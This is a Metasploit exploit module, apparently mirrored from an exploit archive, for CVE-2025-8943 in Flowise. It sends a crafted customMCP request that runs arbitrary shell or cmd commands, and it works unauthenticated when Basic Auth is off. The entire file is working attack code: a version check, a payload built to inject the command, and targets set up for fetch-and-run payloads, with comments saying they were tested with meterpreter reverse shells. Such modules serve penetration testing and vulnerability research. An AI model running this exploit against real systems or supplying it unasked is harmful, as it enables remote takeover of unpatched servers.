Share
## https://sploitus.com/exploit?id=PACKETSTORM:211931
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HTTP::Flowise
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Flowise Custom MCP Remote Code Execution',
            'Description' => %q{
              This module exploits a remote code execution vulnerability in Flowise versions >= 2.2.7-patch.1
              and < 3.0.1. The vulnerability exists in the customMCP endpoint (/api/v1/node-load-method/customMCP)
              located in packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts and packages/components/nodes/tools/MCP/core.ts,
              which allows users to execute arbitrary commands via StdioClientTransport by using the 'x-request-from: internal' header.
              When FLOWISE_USERNAME and FLOWISE_PASSWORD are not configured, the exploit works unauthenticated. If Basic Auth is
              enabled, the FLOWISE_USERNAME and FLOWISE_PASSWORD options must be set to provide credentials.
            },
            'Author' => [
              'Assaf Levkovich', # Vulnerability discovery (JFrog)
              'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-8943'],
              ['URL', 'https://research.jfrog.com/vulnerabilities/flowise-os-command-remote-code-execution-jfsa-2025-001380578/']
            ],
            'Platform' => %w[unix linux win],
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Unix/Linux Command',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    'FETCH_COMMAND' => 'WGET'
                  }
                  # tested with cmd/linux/http/x64/meterpreter_reverse_tcp
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                  # tested with cmd/windows/http/x64/meterpreter_reverse_tcp
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2025-08-14',
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'RPORT' => 3000
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('FLOWISE_USERNAME', [false, 'Flowise username for Basic Auth (required if env var is set)', '']),
          OptString.new('FLOWISE_PASSWORD', [false, 'Flowise password for Basic Auth (required if env var is set)', ''])
        ])
      end
    
      def check
        version = flowise_get_version
        return CheckCode::Unknown('Could not retrieve Flowise version') unless version
    
        print_status("Flowise version detected: #{version}")
    
        # Vulnerability introduced in 2.2.7-patch.1 (March 14, 2025) and fixed in 3.0.1 (May 29, 2025)
        # Note: Rex::Version parses "2.2.7-patch.1" as "2.2.7.pre.patch.1", so we check >= 2.2.7
        if (version >= Rex::Version.new('2.2.7') || version.to_s.include?('2.2.7')) && version < Rex::Version.new('3.0.1')
          return CheckCode::Appears('(affected: >= 2.2.7-patch.1 and < 3.0.1)')
        end
    
        CheckCode::Safe("Version #{version} is not vulnerable")
      end
    
      def execute_command(cmd, _opts = {})
        command = 'sh'
        args = ['-c', cmd]
    
        if target.platform.names.include?('Windows')
          command = 'cmd'
          args = ['/c', cmd]
        end
    
        payload_data = {
          'inputs' => {
            'mcpServerConfig' => {
              'command' => command,
              'args' => args
            }
          },
          'loadMethod' => 'listActions'
        }
    
        opts = {
          username: datastore['FLOWISE_USERNAME'],
          password: datastore['FLOWISE_PASSWORD']
        }
    
        flowise_send_custommcp_request(payload_data, opts)
      end
    
      def exploit
        fail_with(Failure::PayloadFailed, 'Failed to run payload') unless execute_command(payload.encoded)
      end
    end